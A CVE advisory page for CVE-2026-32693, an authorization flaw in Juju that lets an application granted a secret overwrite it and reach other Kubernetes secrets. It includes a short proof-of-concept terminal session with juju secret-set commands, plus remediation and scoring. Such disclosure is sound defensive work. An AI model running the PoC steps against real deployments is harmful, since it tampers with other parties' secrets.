Skip to main content

CVE-2026-32693 — Vulnerability in github.com/juju/juju — CVE Details

HIGH

Juju has unauthorized access to out-of-scope Kubernetes secrets

Published March 19, 2026Updated March 23, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.51%). Schedule for your next planned update.

Does your project use an affected github.com/juju/juju version?

Paste your go.sum to check it for CVE-2026-32693 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my go.sum

Summary

Summary

Grantee is able to update secret content using the secret-set tool due to broad Kubernetes access policy. Implications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value.

Details

When a Juju secret is "granted" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it.

Authorization of the secret-set hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets.

PoC

Tested:

  • two applications in the same controller, same model: one owns the secret, another get a grant
  • relation between them
  • secret grant
  • Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI

Not tested:

  • admin (user) secrets
  • cross-model relations
  • cross-controller relations
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-add nice=little-value"
secret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0
ingress2/0:
  workload-version: 24.2.0
  opened-ports: []
  charm: ch:amd64/nginx-ingress-integrator-203
  leader: true
  life: alive
  relation-info:
  - relation-id: 11
    endpoint: ingress
    related-endpoint: ingress
    application-data: {}
    related-units:
      evilator/0:
        in-scope: true
        data:
          egress-subnets: 10.152.183.39/32
          ingress-address: 10.152.183.39
          private-address: 10.152.183.39
  - relation-id: 10
    endpoint: nginx-peers
    related-endpoint: nginx-peers
    application-data: {}
    local-unit:
      in-scope: true
      data:
        egress-subnets: 10.152.183.135/32
        ingress-address: 10.152.183.135
        private-address: 10.152.183.135
  provider-id: ingress2-0
  address: 10.1.0.100
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-grant d350nbnmp25c76301ht0 --relation 11" 
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 "secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now" 
updating secrets: permission denied
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-get d350nbnmp25c76301ht0" 
nice: who-is-nice-now

When the grantee attempts to update the the granted secret:

  • secret-set command logs an error, though returns OK return status
  • the secret value is updated
  • new secret revision is not created
  • new value is visible to both owner and grantee

Impact

  • the application that owns the secret
  • a third application, if a secret is granted to multiple parties
  • any other application that has secrets in the same Kubernetes secret backend

Advisory Timeline

  • First published March 19, 2026 (252 days ago).
  • Last revised March 23, 2026 — 4 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/juju/juju to 0.0.0-20260319091847-d06919eb03ec or later
go get github.com/juju/juju@v0.0.0-20260319091847-d06919eb03ec

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: Go (1).

PackageFixed In
github.com/juju/juju Go · Affected: All versions0.0.0-20260319091847-d06919eb03ec

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-32693?
Juju has unauthorized access to out-of-scope Kubernetes secrets. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2026-32693?
CVE-2026-32693 affects github.com/juju/juju. It has a 0.5% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-32693 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

Significant impact if exploited, or exploitable with modest effort.

EPSS Score (30-day exploit probability)
0.51%
EPSS percentile: 36.9

This is a below-median EPSS score — only 36.9% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.

Also Known As

GHSA-439w-v2p7-pggc
GO-2026-4777

Related CVEs

  • CVE-2026-4370
    CRITICAL

    Juju has Improper TLS Client/Server authentication and certificate verification on Database Cluster

  • CVE-2017-9232
    CRITICAL

    Juju uses a UNIX domain socket without setting appropriate permissions

  • CVE-2026-5412
    CRITICAL

    Juju: CloudSpec method leaking cloud credentials

  • CVE-2025-53513
    HIGH

    Juju zip slip vulnerability via authenticated endpoint

  • CVE-2025-0928
    HIGH

    Juju allows arbitrary executable uploads via authenticated endpoint without authorization

  • CVE-2024-6984
    HIGH

    Juju's unprivileged user running on charm node can leak any secret or relation data accessible to the local charm

  • CVE-2026-108262
    HIGH

    DDEV incomplete tar symlink traversal fix allows host file overwrite - Incomplete fix of CVE-2026-32885

  • CVE-2026-130007
    HIGH

    k8s-mcp-server: Missing authentication on default SSE/HTTP transport allows unauthenticated Kubernetes tool execution

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my go.sum